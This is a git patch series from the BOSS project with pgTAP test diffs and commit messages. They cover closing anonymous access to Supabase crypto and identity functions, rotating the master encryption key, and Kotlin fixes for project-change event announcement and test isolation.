database role, not only JWT claims on postgres. set local role authenticated; diff --git a/supabase/tests/resilient_secret_listing_test.sql b/supabase/tests/resilient_secret_listing_test.sql index f2be06183a..9f8063dd7d 100644 --- a/supabase/tests/resilient_secret_listing_test.sql +++ b/supabase/tests/resilient_secret_listing_test.sql @@ -11,7 +11,7 @@ -- failure), so one bad row surfaces as one blanked field while the rest load. begin; -select plan(11); +select plan(17); select vault.create_secret( 'a1b2c3d4e5f60718293a4b5c6d7e8f90a1b2c3d4e5f60718293a4b5c6d7e8f90', @@ -20,7 +20,8 @@ select vault.create_secret( ); insert into auth.users (id, email) values - ('cafe0000-0000-4000-8000-000000000001', 'listing-owner@pgtap.test'); + ('cafe0000-0000-4000-8000-000000000001', 'listing-owner@pgtap.test'), + ('cafe0000-0000-4000-8000-000000000002', 'listing-sharer@pgtap.test'); -- A readable secret, a secret whose password ciphertext is corrupt, and a secret -- whose recovery codes are corrupt. The password rows are inserted directly (as @@ -31,6 +32,10 @@ insert into public.secrets (id, user_id, website, username, password_encrypted) ('cafe0000-0000-4000-8000-0000000000a3', 'cafe0000-0000-4000-8000-000000000001', 'codes.example', 'u3', public.encrypt_text('GoodPassword3')); insert into public.secret_metadata (secret_id, twofa_enabled, twofa_type, recovery_codes_encrypted) values ('cafe0000-0000-4000-8000-0000000000a3', true, 'app', '###corrupt-codes###'); +insert into public.secrets (id, user_id, website, username, password_encrypted) values + ('cafe0000-0000-4000-8000-0000000000a4', 'cafe0000-0000-4000-8000-000000000002', 'shared.example', 'u4', '!!!not-valid-base64!!!'); +insert into public.secret_shares (secret_id, shared_with_user_id, shared_by, access_level) values + ('cafe0000-0000-4000-8000-0000000000a4', 'cafe0000-0000-4000-8000-000000000001', 'cafe0000-0000-4000-8000-000000000002', 'read'); -- 1-2. try_decrypt_text is decrypt_text with NULL instead of a raise. select is(public.try_decrypt_text(public.encrypt_text('round-trip')), 'round-trip', @@ -52,20 +57,30 @@ select set_config('request.jwt.claims', -- 4. get_user_secrets returns EVERY row rather than aborting on the bad one. select is((select count(*) from public.get_user_secrets(50, 0)), 3::bigint, 'get_user_secrets returns all rows despite a corrupt one'); --- 5-6. The good password decrypts; the corrupt one is a NULL password, not an error. +-- 5-6. Keep the RPC's string contract: installed clients cannot decode NULL. select is((select password from public.get_user_secrets(50, 0) where website = 'good.example'), 'GoodPassword1', 'the readable password still decrypts'); select is((select password from public.get_user_secrets(50, 0) where website = 'broken.example'), - NULL::text, 'the corrupt password is blanked, not fatal'); + ''::text, 'the corrupt password is blanked, not fatal'); -- 7. Corrupt recovery codes degrade to [] through safe_decrypt_recovery_codes. -select is((select metadata->>'recovery_codes' from public.get_user_secrets(50, 0) where website = 'codes.example'), - '[]', 'corrupt recovery codes degrade to an empty array'); +select is((select metadata->'recovery_codes' from public.get_user_secrets(50, 0) where website = 'codes.example'), + '[]'::jsonb, 'corrupt recovery codes degrade to an empty JSON array'); -- 8-9. The same resilience holds for the other two listing RPCs. select is((select count(*) from public.search_user_secrets('.example', 50, 0)), 3::bigint, 'search_user_secrets returns all matching rows despite a corrupt one'); -select is((select count(*) from public.get_user_secrets_with_shared(50, 0)), 3::bigint, +select is((select count(*) from public.get_user_secrets_with_shared(50, 0)), 4::bigint, 'get_user_secrets_with_shared returns all rows despite a corrupt one'); +select is((select password from public.search_user_secrets('.example', 50, 0) where website = 'broken.example'), + ''::text, 'search preserves the non-null password contract'); +select is((select password from public.get_user_secrets_with_shared(50, 0) where website = 'broken.example'), + ''::text, 'sharing list preserves the non-null password contract'); +select is((select password from public.get_user_secrets_with_shared(50, 0) where website = 'shared.example'), + ''::text, 'a corrupt direct share stays visible with a blank password'); +select is((select access_level from public.get_user_secrets_with_shared(50, 0) where website = 'shared.example'), + 'read', 'a corrupt direct share retains its read-only access level'); +select is((select shared_by_email from public.get_user_secrets_with_shared(50, 0) where website = 'shared.example'), + 'listing-sharer@pgtap.test', 'a corrupt direct share retains its source'); reset role; @@ -74,6 +89,8 @@ select ok(not has_function_privilege('anon', 'public.try_decrypt_text(text)', 'E 'anon cannot execute try_decrypt_text'); select ok(not has_function_privilege('authenticated', 'public.try_decrypt_text(text)', 'EXECUTE'), 'authenticated cannot execute try_decrypt_text'); +select ok(not has_function_privilege('service_role', 'public.try_decrypt_text(text)', 'EXECUTE'), + 'service_role cannot execute the internal resilient reader'); select * from finish(); rollback; From 7e72f12785b0a13e87965ee2bd57827ce16e1ff1 Mon Sep 17 00:00:00 2001 From: Rushikesh Date: Mon, 14 Sep 2026 14:12:35 +0530 Subject: [PATCH 21/28] fix(db): move resilient listing migration past the merged IV migration #647 merged supabase/migrations/20260914000000_randomize_secret_encryption_iv.sql into dev, which collides with this PR's 20260914000000 version. Supabase keys migrations by that numeric prefix, so two migrations at the same version break migration ordering (and supabase db start) once this merges. Re-timestamp to 20260915000000 so it applies after #647, and update the header and test references to match. --- ...isting.sql => 20260915000000_resilient_secret_listing.sql} | 4 ++-- supabase/tests/resilient_secret_listing_test.sql | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) rename supabase/migrations/{20260914000000_resilient_secret_listing.sql => 20260915000000_resilient_secret_listing.sql} (99%) diff --git a/supabase/migrations/20260914000000_resilient_secret_listing.sql b/supabase/migrations/20260915000000_resilient_secret_listing.sql similarity index 99% rename from supabase/migrations/20260914000000_resilient_secret_listing.sql rename to supabase/migrations/20260915000000_resilient_secret_listing.sql index 400708040b..f9c071ac91 100644 --- a/supabase/migrations/20260914000000_resilient_secret_listing.sql +++ b/supabase/migrations/20260915000000_resilient_secret_listing.sql @@ -1,7 +1,7 @@ -- ============================================================================ -- BOSS Database Schema: Resilient Secret Listing (one bad row must not blank a page) -- ============================================================================ --- File: 20260914000000_resilient_secret_listing.sql +-- File: 20260915000000_resilient_secret_listing.sql -- Description: get_user_secrets, search_user_secrets and get_user_secrets_with_shared -- decrypted the password (and recovery codes) with a bare public.decrypt_text -- inside a set-returning query. decrypt_text RAISES on an undecryptable value - @@ -279,5 +279,5 @@ GRANT EXECUTE ON FUNCTION "public"."search_user_secrets"("text",integer,integer) GRANT EXECUTE ON FUNCTION "public"."get_user_secrets_with_shared"(integer,integer) TO "authenticated", "service_role"; -- ============================================================================ --- End of File: 20260914000000_resilient_secret_listing.sql +-- End of File: 20260915000000_resilient_secret_listing.sql -- ============================================================================ diff --git a/supabase/tests/resilient_secret_listing_test.sql b/supabase/tests/resilient_secret_listing_test.sql index 9f8063dd7d..14b6572c63 100644 --- a/supabase/tests/resilient_secret_listing_test.sql +++ b/supabase/tests/resilient_secret_listing_test.sql @@ -1,5 +1,5 @@ -- pgTAP tests for resilient secret listing --- (migration 20260914000000_resilient_secret_listing.sql). +-- (migration 20260915000000_resilient_secret_listing.sql). -- -- get_user_secrets / search_user_secrets / get_user_secrets_with_shared read the -- password with a bare decrypt_text inside a set-returning query. decrypt_text From 21cc3716838c0b528a5417a3118cd6d0f4d2ce30 Mon Sep 17 00:00:00 2001 From: Shikhar Goel Date: Mon, 14 Sep 2026 13:54:06 +0530 Subject: [PATCH 22/28] fix(overlays): honor RTL and fractional placement (#477) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Stop anon reaching schema public by inheritance, and scope identity to real orgs The BOSS Supabase anon key is compiled into this repo, which is public. Anything `anon` can execute is therefore executable by anyone. Verified on 2026-09-08: * get_encryption_key() returned the Vault master encryption key, unauthenticated. decrypt_text() was anon-callable beside it, making a decryption oracle over everything encrypt_text protects - user secrets and the QBO/Google broker credentials. * find_user_by_email() confirmed any address and returned its uuid. * list_shareable_recipients() returned 152 users WITH full email addresses to any self-registered account, and 82 @risalabs.ai addresses on a search. * arcade_leaderboard() and arcade_bs_standings() published the roster of everyone who had opened the Arcade, unauthenticated. None of it was granted on purpose. PostgreSQL hardwires EXECUTE to PUBLIC on every new function, PUBLIC includes anon, and this project's default privileges add anon on top - so a SECURITY DEFINER function is internet-callable from the moment it is created. Both revokes are traps in mirror image: `from public` leaves the explicit anon grant, `from anon` leaves the hardwired PUBLIC one, and ALTER DEFAULT PRIVILEGES cannot remove the latter at all (pg_default_acl loses the entry and new functions still get `=X`). 20260908000000 event trigger: revoke PUBLIC+anon on every function created in schema public. An explicit `grant ... to anon` after the create still wins - anon access must be stated, never inherited. 20260908010000 org_visible_users / org_is_vetted / user_display_name: ONE definition of "may this account learn who that account is", shared by the Arcade and poker rather than copied. Vetted means a human approved the join, which excludes the catch-all `boss` org every account joins on signup (153 members, 20 domains). 20260908020000 route list_shareable_recipients through both. It was already org-scoped, which is why it looked right; it accepted ANY shared org. 20260908030000 one-time sweep of the ~30 functions that already had the inherited grant. The RBAC mutators fail closed (is_user_admin(NULL) is false), so this is defence in depth, not a patched escalation. The rule is a SET, not a per-target predicate: as a per-row qual it is pushed below a DISTINCT ON and evaluated once per underlying row - 2.7s over 29k score rows for 45 players, against 37ms. supabase/audit/identity_disclosure_audit.sql is the standing check, because "we fixed the leak" is not a durable claim. All four checks report HEALTHY. Left deliberately anon-callable, each documented where it is kept: the plugin store browse API, the three helpers called from RLS policies on anon-readable tables, and custom_access_token_hook. Verified after the sweep that anonymous plugin-store browse and signed-in RBAC reads both still work. Co-Authored-By: Claude Opus 5 (1M context) * Add the master-key rotation procedure, and rotate get_encryption_key() was anon-callable, so the Vault master_encryption_key was retrievable by anyone holding the project anon key - which ships compiled into this public repo. Revoking access does not un-disclose a key, so it was rotated on 2026-09-09 and the 184 rows encrypted under it re-encrypted. Scope of the original exposure, stated precisely because the capability was worse than the reach: decrypt_text() was anon-callable beside it, so an attacker holding ciphertext from ANY channel - a backup, an export, a screenshot - could decrypt it through the API without even needing the key. But no bulk read path to that ciphertext existed: qbo_token_state and google_token_state have no client grants at all, and all 178 secrets rows have org_id NULL, so the secrets policy reduces to owner-only. This was a serious latent vulnerability - one org-shared secret, one RLS slip, or anyone with backup access would have had plaintext - rather than a confirmed bulk disclosure. The script is kept because rotation is not a one-off. It is atomic (one DO block), self-verifying (md5 of every row's plaintext captured before, re-derived after through decrypt_text so the check covers both the swap and the data), and a mismatch or row-count drift raises and rolls back, so a broken rotation cannot commit. Verified after the run: the live key differs from the disclosed one, 184/184 rows decrypt under it, and the disclosed key opens 0 rows. The old key is retained in the Vault under an explicit name. Do NOT delete it while pre-rotation backups exist - they are encrypted under it. Co-Authored-By: Claude Opus 5 (1M context) * fix(db): close signed-in crypto access and verify visibility boundaries * test(db): exercise repeated key rotation and exact anonymous ACLs * test(db): grant fixture role membership on Supabase Postgres * test(db): inline rotation source for isolated pgTAP mounts * test(db): keep generated rotation SQL out of source control * fix(db): reserve identity-taking store mutators for the edge service * fix(db): serialize rotations without requiring direct Vault writes * fix(db): address review gaps in system-org and rotation coverage * test(db): verify core secrets across hex and broker-free rotations * test(db): execute standing audit and missing-signature regression * fix(db): enforce revoke postconditions and harden rotation verification * test(db): enable recovery metadata in the authenticated fixture * test(db): use the schema-supported authenticator type * Address remaining database review quality findings * Fix invoker view audit boolean parsing and test timestamp bounds * Rotate the TOTP envelope, exempt extension routines, and close the repo/prod drift Addresses the handoff's database-integration item and the substantiated findings from the current-head review. Everything below was executed against the PR's own Supabase preview branch, not asserted from reading. **The blocker: rotation refused to run once #417 landed.** The guard was a blanket "TOTP is installed, refuse everything". It is now an adapter. The stored form is 'v1:' || encrypt_text(...) - same cipher, same key, only the framing differs - so the column map gained an envelope prefix and rotates like the rest once the prefix is stripped and re-applied. Three things this needed that reading the diff would not have shown: * #417's trigger RAISES on a v1: value ('TOTP input must be plaintext, not a storage envelope'), so the re-encryption update is rejected outright. The reviewed trigger is now disabled for the update and restored after, inside the same transaction. * safe_decrypt_recovery_codes returns jsonb, not text, so verification through the real read path needed a cast. Both fingerprints now go through each column's OWN application read path rather than decrypt_text, which also removes the step-1/step-5 asymmetry raised as U5. * a step 0 pre-check reports rows that are already unreadable, instead of letting a safe_decrypt_* NULL surface at the end as "a row was missed". The rejection contract is preserved, not removed: an unknown envelope version, an unmapped safe_decrypt_* wrapper, or an unreviewed BEFORE trigger on a mapped table each still refuse. All three are now regression-tested, along with the recovery-code column that was previously never exercised (its fixture was vacuous - create_secret writes no secret_metadata row without p_twofa_enabled). Verified: three consecutive rotations, TOTP/recovery/password all intact, v1 envelope preserved, trigger re-enabled and still enforcing its own contract. **CREATE EXTENSION was impossible.** The fail-closed guard aborted the first routine of any extension installed into public: `create extension pgtap` failed with "Anonymous EXECUTE remains on public.pg_version()". A guard that forces operators to disable it in order to install an extension is a guard that ends up disabled. Extension-owned routines are now exempted with a warning, and the exposure stays visible as advisory CHECK 1x rather than vanishing - it reports pgtap (1079) on the preview. The sweep skips them too: pgcrypto-style helpers are called from column DEFAULTs and CHECK constraints, which are evaluated with the DML role's privileges. No extension owns a function in public on a clean database, so no deployed behaviour changes. **The repo was weaker than production.** find_user_by_email, get_session_status and update_api_key_last_used were locked down on the live project on 2026-09-08 but never captured as a migration, so a fresh deploy re-opened them. find_user_by_email is a user-enumeration oracle over auth.users and signup is open. The standing audit caught this itself on the preview - CHECK 2 named it - which is the drift that check exists for. Both remaining callers use SUPABASE_SERVICE_ROLE_KEY, verified on this branch, so service_role keeps EXECUTE and neither path changes. Also: the guard no longer hard-fails on a database without the Supabase roles (a plain restore), and the vault fixtures no longer assume the key is absent (U3) - both suites failed outright on any database that already had one. Retained-key assertions measure this run's delta instead of an absolute count. Suites on the preview: rotation 16/16, db access audit, and visibility 54/54 all clean; the standing audit reports no failing gated check. Co-Authored-By: Claude Opus 5 * Exercise the anonymous read path, not just the grant The keep-list assertions only checked has_function_privilege for the seven allowlisted signatures. That proves the grant, not the path: an RLS policy expression is evaluated as the QUERYING role, so revoking a policy helper turns an anonymous SELECT into 'permission denied for function ...' rather than an empty result, and no privilege assertion can see it. The seeding is the part that matters. A policy expression runs PER ROW, so on an empty table it is never evaluated - and plugins and user_roles are both empty on a fresh database, which made the first version of this probe pass no matter what had been revoked. Caught by trying to make it fail. Sensitivity is stated from measurement, not assumption: with a row present, revoking can_view_plugin_row from anon does fail the probe and revoking authorize does not, because permissive policies are ORed and short-circuit. A helper in a policy that never has to be evaluated cannot be detected this way by any test, so the comment says so rather than implying broader coverage. Co-Authored-By: Claude Opus 5 * Make the gated audit checks and the test generator provable Both halves of this are the same failure: a suite that is green while proving nothing. I hit that twice writing the previous commits - a recovery-code fixture over a secret_metadata row create_secret never wrote, and an anonymous-read probe over an empty table whose RLS policy therefore never evaluated - so these are not hypothetical. Finding 6. The four CI-GATED checks (1, 1b, 4, 5) only ever asserted HEALTHY, while every advisory check already had a fixture-based detection test. An inverted `not exists`, a wrong role literal or a typo in the evtenabled test would have left the gate permanently green. Each is now broken deliberately and asserted to report it: a routine granted to anon AFTER creation (which is how one gets past the event trigger), a revoked deliberate anonymous grant, a disabled event trigger, and a crypto routine exposed to authenticated. They have teeth by construction - the assertion is that the finding appears, so a broken audit query fails them. Finding 8. The generator gained --check, which regenerates in memory and compares without writing, and orphan removal for a generated suite whose .sql.in has been renamed or deleted - that file otherwise keeps being executed forever with stale content. Orphans are identified by a provenance banner rather than a hard-coded list, so a hand-written suite is never touched; verified that explicit_anon_and_org_visibility_test.sql is untouched. Each guard was proven by making it fire: a hand edit and a planted orphan are both reported by --check, and generate removes the orphan. CI now runs generate and --check as their own step, so a preparation failure is visible in the log instead of being attributed to the test run. Preview: rotation 16/16, db access audit 15/15, visibility 56/56. Co-Authored-By: Claude Opus 5 * Announce every project change, not only the plugin-initiated ones Panels could come up empty and stay empty, and the reason was that the startup restore told no one. ProjectChangeEvent was published from ProjectDataProviderImpl.selectProject, which is the path a PLUGIN takes. The two callers that matter most bypass it: WorkspaceApplier.applyWorkspace calls windowProjectState.selectProject directly when it restores the workspace, and BossTopBar's picker goes through selectProjectInWindow. Neither published anything. The ordering that produced the empty panel: DefaultPlugin is constructed in a DisposableEffect keyed on registries and window state, not on selectedProject, and it kicks off the plugin scan asynchronously while BossAppScaffold composes and the sidebar builds panels immediately. The restore meanwhile waits on WorkspaceManager's sequential Dispatchers.IO JSON reads. When those reads are slow the panel is built first, reads the "" that WindowProjectState seeds itself with, and renders its no-project state. The restore then lands, silently, and nothing remounts the cached component. Publishing from the state itself rather than from one caller catches all three. The bus is MutableSharedFlow(replay = 0), so a publish that never happens cannot be recovered by a later subscriber - which is why this could not stay per-caller. The publish is removed from selectProject rather than added alongside the collector; keeping both would double-fire on the plugin path. previousPath is seeded from the current value so the StateFlow's replay of it is not announced as a change. That seed is "" at startup, and telling every plugin the project just became "" moments before the real restore arrives is precisely the clear-yourself signal worth avoiding. One collector per window: projectDataProvider is `by lazy` on DefaultPlugin, which is per-window, so this cannot stack. Co-Authored-By: Claude Opus 5 (1M context) * Publish from the state's own callback, not from a lazily-built provider The review's finding 1: observing `selectedProject` from `ProjectDataProviderImpl` put the fix behind two `by lazy` initializers. `projectDataProvider` and `applicationEventBus` are both lazy on `DefaultPlugin`, and the second is the only host path that creates the bus at all. So the collector started only if some plugin touched both before the workspace JSON reads finished - and "the reads are slow" is the premise of the bug. Touched after the restore, the collector seeds to the restored path and announces nothing; never touched, no caller is announced at all. The announcement now hangs off the `ProjectSelectionCallback` that `WindowProjectStateRegistry` installs when it builds the window's state, which `BossAppState` does eagerly in composition. `WindowProjectState.selectProject` is the sole mutator of the selection and invokes that callback synchronously, so every caller is covered with no coroutine, no scope and nothing lazy in the path. Being synchronous also makes `previousProjectPath` a faithful history rather than best-effort: there is no StateFlow conflation to collapse A -> B -> C into A -> C. The two registry entry points carried a copy of the wiring each; they now share one `newState`, so the announcement cannot be installed on some windows and not others. Finding 1's third mitigation, which is a hole of its own: `publishSystemEvent` was a no-op whenever the bus had not been created, so on a build where no installed plugin had touched `applicationEventBus` yet, no host event existed - not `ProjectChangeEvent`, not `AuthEvent`, not `TabEvent` - and with `replay = 0` none could be recovered. It now creates the bus instead of dropping. `getInstance` also re-checks the registry on every call rather than only at creation, so an instance that exists while the registry is empty can no longer strand the host's publisher. Findings 2 and 3: `ProjectDataProviderImpl` implements `DisposableProvider` and `DefaultPlugin.dispose()` releases it through a named delegate, alongside `logDataProviderDelegate` and `gitDataProviderDelegate`; its scope gets a `SupervisorJob`, matching `pluginScope`. Tests: `ProjectChangeAnnouncementTest` (6) pins a direct `selectProject` being announced, the previous-path chain, the seeding rule, the same-path suppression, both registry entry points, and the bus being created rather than dropping the event. Full `:composeApp:desktopTest` green: 3695 tests, 0 failures. `detekt ktlintCheck` clean. Co-Authored-By: Claude Opus 5 (1M context) * Round 2: honest bus wording, atomic previousPath, three more tests Review (1/2) and (2/2). 1. `publishSystemEvent` does not save the event it creates the bus for. Correct - no registered publisher means nobody holds the bus, so it has no subscribers and that first event still reaches no one. The comment, the test name and the PR body all claimed otherwise. Reworded to what it actually buys: the host stops being permanently silent while it waits for a plugin to touch `applicationEventBus`. 3. `previousPath` was check-then-act on a plain field, and `ProjectDataServiceBridge.selectProject` is a suspend gRPC handler with no hop to Main (verified: `KernelBootstrap` registers it, the bridge calls `provider.selectProject` directly). Now an `AtomicReference.getAndSet`, so the read and the write are one operation. 5. The registry read-modify-write moved back inside `synchronized(this)`. Both fields are in fact `@Volatile` in boss-plugin-api 1.0.87 (checked the pinned jar), but the lock is uncontended after the first call and removes the question. The bus-before-publisher ordering is now written down, including why a publish landing in that window loses nothing. 6. `initialPath` KDoc no longer describes a production scenario it cannot reach; it is documented as defensive and test-reachable, and defaulted to "". 7. Three tests added: - a plugin-initiated selection is announced exactly once (catches both a silent regression to zero and an accidentally re-added publish); - the registry test now asserts the recent-projects half of the callback ran - deleting it from `newState` previously left every test green; - `dispose()` stops the recent-projects collector, which is the whole reason `projectDataProviderDelegate` became a named lazy. `Dispatchers.setMain(UnconfinedTestDispatcher())` for the class: the provider collects on `Dispatchers.Main`, which has no implementation in a plain test JVM, so its collector silently never ran. Unconfined also makes the dispose test deterministic rather than a sleep. Smaller: `SupervisorJob` comment describes it as future-proofing (there is one collector); `systemEventBusScope` is `by lazy`; the KERNEL-mode consequence of disposing the provider is documented on `dispose()`. Not taken: `replay = 1` for `ProjectChangeEvent`. It would close the mirror race, but it changes `events()` semantics for every subscriber and every event type on a bus whose consumers are out of tree. The body now says the race is narrowed rather than closed, and names the api-side `selectedProject` StateFlow as what closes it. `:composeApp:desktopTest` 3697 tests, 0 failures. `detekt ktlintCheck` clean. Co-Authored-By: Claude Opus 5 (1M context) * Round 3: unconditional announcement, ordered publish, drop dead register Review 3. 2. AGENTS.md: a bullet in the canonical "what a third-party plugin can observe" paragraph, since this widens *when* a filesystem path reaches every installed plugin. 3. The `expect` KDoc still said "a no-op if the bus has not been created yet". Only the `actual` had been corrected. Fixed, and it now states the part that IS still best-effort: replay = 0 means an unsubscribed event is gone either way. 4. The announcement sat downstream of `ProjectState.updateRecentProjects`, so a throw there skipped it AND left `previousPath` stale - every later selection reporting a previous path one step behind, silently, for the session. Now `try { recents } finally { announce }`: order preserved for anyone reading recents off the event, the announcement unconditional, the throw still propagating. 5. `getAndSet` closed the read-modify-write but not the publish order, so two concurrent selections could emit out of order. `previousPath` and the publish are now in one `synchronized` block (the AtomicReference is gone - the lock subsumes it). The KDoc says plainly what this still does not settle: `WindowProjectState` writes `_selectedProject.value` then calls the callback with no atomicity, so state and last event can still disagree. Closing that means locking upstream. 6. `ProjectState`'s async `loadRecentProjects()` assigns `_recentProjects.value` wholesale and could land mid-test, dropping a just-added path - only where `~/.boss/recent-projects.json` exists, so a developer-machine-only flake. A once-per-JVM settle in `@BeforeTest` puts that single file read before any test. The test paths stay deliberately non-existent, now with a comment saying why: the fire-and-forget saves are unordered, and `loadRecentProjects` reclaims entries whose directory is gone, so a real temp directory would leak where these self-heal. 7. `register` deleted. No production caller (`BossAppState:299` uses `getOrCreate`), and it overwrote an existing entry - handing back a state with a fresh announcer seeded to "" for a window that already had a project. `newState` stays; it is what keeps the wiring from drifting. 8. `@Volatile` dropped from `ApplicationEventBusImpl.instance` - every access is inside the lock now, and leaving it reads as if a fast path survives. Also: a test for the actual regression path, `applyWorkspace` announcing the project it restores, rather than a comment claiming to imitate it. Answering the grep you could not run: the only `projectChanges()` consumers in boss_plugins are the two fluck-agent panels (`FluckAgentViewModel`), and both assign `_bossProject.value` and re-sweep - idempotent on a repeat. Nothing used the repeat publish as a reload nudge. Recorded in the announcer comment. Item 1 was already in the PR body from round 2 ("The startup race is narrowed, not closed"), naming the mirror case and the api-side StateFlow that closes it. `:composeApp:desktopTest` 3698 tests / 368 classes, 0 failures. `detekt ktlintCheck` clean. Co-Authored-By: Claude Opus 5 (1M context) * Round 4: split the dispose out, stop tests writing the real ~/.boss Review 4. Items 1 and 3 were the before-merge ones. 1. Verified: ProjectDataServiceBridge.watchRecentProjects collects provider.recentProjects, a StateFlow, so cancelling the provider's scope on window close leaves that gRPC stream open and silently frozen for every out-of-process plugin. Taking the first option and SPLITTING the dispose out. Note this reverses what round 1 asked for, and the justification changed rather than the opinion: once the announcement moved to the registry callback, ProjectDataProviderImpl went back to being exactly what it was before this PR, so the leak is pre-existing and unrelated to the subject. Closing it properly means the bridge reading ProjectState directly instead of a per-window provider, which is its own change. The reasoning is on the class so it is not re-fixed by accident. 3. Verified and worse than described: MAX_RECENT_PROJECTS = 10, so test entries evict real ones from the developer's picker and no cleanup restores them. systemProperty("user.home", /test-home) on the Test task. One run with it in place shows the existing suite was writing far more than recents to the real home - window-appearance-settings.json, keymap-settings.json, scrollbar-settings.json, recent-browser-pages.json, dashboard-stats.json and a ~/BossProjects/ directory all land in test-home now. The settle is gone with it: no recent-projects.json in test-home means the wholesale reload never happens. 2. publishSystemEvent now refuses the bus != null && systemPublisher == null state instead of falling through into a bus that may not be the registry's, with one warning rather than one per event. The comment at the fallback is true as written. 4. Both stale comments fixed (one construction path, not two). 5. hostProjectCallback(updateRecents, announcer) extracted so the try/finally claim is testable - ProjectState is an object, so a hard-coded call cannot be made to fail. 6. The publish-inside-the-lock trade is spelled out in the KDoc: what it buys (ordering), what it costs (an inline subscriber runs holding the lock inside selectProject), and that the contended path is untested. 7. The serial-execution dependency is recorded in the test class KDoc. Plus: multi-window isolation, and a test that makes the recents update throw. One thing this round caused and fixed: removing dispose() left two ProjectDataProviderImpl collectors alive on the test dispatcher. On a TestCoroutineScheduler a live coroutine is something every later runTest waits on, and the git classes timed out at 60s in full-suite runs while passing in isolation. Dispatchers.setMain(Dispatchers.Unconfined) rather than UnconfinedTestDispatcher(): same inline behaviour, not enrolled in a scheduler anyone else observes. It is also a real argument for the follow-up - without dispose() the provider cannot be constructed in a test without leaking. :composeApp:desktopTest 3699 tests / 368 classes, 0 failures. detekt ktlintCheck clean. Co-Authored-By: Claude Opus 5 (1M context) * Round 5: reset test-home per run, stop getInstance stealing a publisher Review 5. 1. Confirmed reproducibly - build/test-home/.boss/recent-projects.json was sitting there from the previous run. doFirst now deleteRecursively() before mkdirs(), so the home is fresh per run rather than merely private. Without it the redirect only helped the first run and ProjectState.init's load reintroduced the same race from the second. Verified by running the full suite twice back to back. 2. Right, and sharper than it looks: the guard tested `bus` but wrote both fields, and `systemPublisher != null && bus == null` is exactly what ProjectChangeAnnouncementTest, BrowserAnalyticsEmissionTest and BossTabsComponentMoveTest install. Guard now tests both, so getInstance cannot take a publisher away from whoever set it. 3. Test added for the warn-and-drop branch, asserting the DROP rather than the warning - partialRegistryWarned is a one-shot process global, so "it warns" is unassertable after the first test to trip it. Uses a stub bus so the half-registry state is real. 4. The re-entrancy hazard is now documented as SAFE and why (synchronized is reentrant, previousPath advances before the publish), so it is not "fixed" later. The lock-widens-a-UI-hang-to-a-cross-thread-one point is in the same block. 5. Taken, including the optional ones: - hostProjectCallback keeps both failures (addSuppressed) instead of letting finally discard the first. Needs @Suppress("TooGenericExceptionCaught") - catching Throwable is the contract, and both are rethrown. - ProjectDataProviderImpl takes an injectable dispatcher (default Dispatchers.Main). This removes the global setMain AND the round-4 collector leak at the source rather than working around them, without reopening the DisposableProvider split. - Three more pins: a null window state announces nothing, applyWorkspace (restoreProject = false) announces nothing, unregister + getOrCreate restarts the chain at "". Not taken, with reasons: jvmArgumentProviders (the current form works, is config-cache-serialisable and passed CI on three OSes); widening the user.home redirect to plugin-path-utils (its test only mkdirs a directory every BOSS user already has). There is no CHANGELOG in this repo, so the release-notes line for the same-path change is an action item at release time, not a file change. Flagged in the body. Two consecutive full runs: 3703 tests / 368 classes, 0 failures both times. detekt ktlintCheck clean - it caught two TooGenericExceptionCaught and a long line in this round's own code first. Co-Authored-By: Claude Opus 5 (1M context) * Address project announcement review feedback * fix(plugin-store): restrict plugin_downloads RLS to the server-side pipeline (#488) * Batch validation: promote latest reviewed dev changes to main (#463) * Fix #30: Resolve duplicate context menu label collisions * Cleanup: Remove dead code for #91 and #93 * chore: Sanitize SubmitResult.Error at construction rather than at one render site * Fix panel component lifecycle disposal * fixes * Guard panel lifecycle destruction failures * fix(logging): sanitize secret RPC failures and crash-report errors Three related gaps in what gets logged and shown when something fails: - SecretService.kt had no BossLogger in any of its ten catch blocks (#145). When the organisation migration broke all four secret RPCs (#144), the only WARN in the log came from the calling plugin - the code that actually failed said nothing. Every catch now logs via logger.warn(LogCategory.NETWORK, ...), reusing the already-sanitized failure for both the log and the returned Result rather than sanitizing twice. RoleService and RoleCreationService were checked and already log correctly - SecretService was the only silent one. - LogSanitizer.sanitizeExceptionMessage redacted a hostname only when it appeared inside a URL - a bare hostname (exactly what UnknownHostException.getMessage() produces, i.e. every DNS failure, and what a proxy-connect failure looks like) passed through untouched (#109). Added a narrow hostname pattern: lowercase-only labels ending in a short explicit TLD/`.internal`/`.local` list, with a negative lookahead so a package path that happens to end in a real TLD word mid-FQN (kotlinx.coroutines.internal.ScopeCoroutine, kotlinx.io.EOFException) is not mistaken for one - caught by the existing realistic-stack-trace test after the first version of the pattern redacted a live Kotlin package name out of it. - CrashReportService.SubmitResult.Error held a raw exception string, sanitized at exactly one render call site in CrashReportDialog (#110). The constructor is now private; SubmitResult.Error.of(...) is the only way to build one, and it sanitizes before the raw string can reach .message - a property of the type now, not something every future consumer (a copy button, a toast, a log line) has to remember on its own. Both construction sites (the service's two catch blocks, and the one in CrashReportDialog the issue names directly) now route through it. Tests: new coverage for the ten now-logging SecretService paths (via SupabaseWiringTest's existing sanitization-wiring guard, updated to recognize the "sanitize once into a local, reuse for log and return" shape SupabaseDataProviderImpl already used), six new LogSanitizerTest cases for the hostname fix (including the FQN/version-number false-positive guards), and a new CrashReportServiceTest for the sanitize-at-construction guarantee. * test(crash): extract construction tests from #404 Selected unchanged test file from Antriksh1984 original commit 99d2a5228023c541e825fe2714619c8228140369 (PR #404). Maintainer extraction only; subsequent API/scope adaptations are recorded separately. * chore(ipc): clarify advisory menu ID scope and fix formatting * chore(ui): finish obsolete toolbar comment cleanup * test(crash): adapt consolidated coverage and guard factory visibility Maintainer consolidation: use #311 companion invoke and a URL fixture instead of depending on #404 hostname redaction. Add private constructor/copy bytecode assertions. Preserve original contributor tests and implementation credit separately. * refactor(crash): consolidate construction sanitization in #311 Maintainer scope change: remove only the duplicate #110 implementation, retaining Antriksh1984 original #109/#145 work and commit history. Standalone construction tests are retained with attribution in #311; its Aditya8369 implementation supersedes Error.of. Keep render-time sanitization here until #311 merges and describe the remaining hostname coverage conservatively. * test(panels): retain sibling lifecycle isolation coverage from #313 Adapt the original #313 test to the #317 constructor and supply the missing panelInfo overrides. Original test scenario and assertions are by @rehannayeem0786; these compile adaptations are maintainer integration work. * fix(panels): complete lifecycle cleanup across failure and window teardown Destroy partially constructed panels and replacements that fail to resume. Continue downward lifecycle transitions after a failing pause or stop callback. Dispose panels before plugin teardown in the same callback rather than relying on sibling Compose effect order. Add regression coverage and adapt 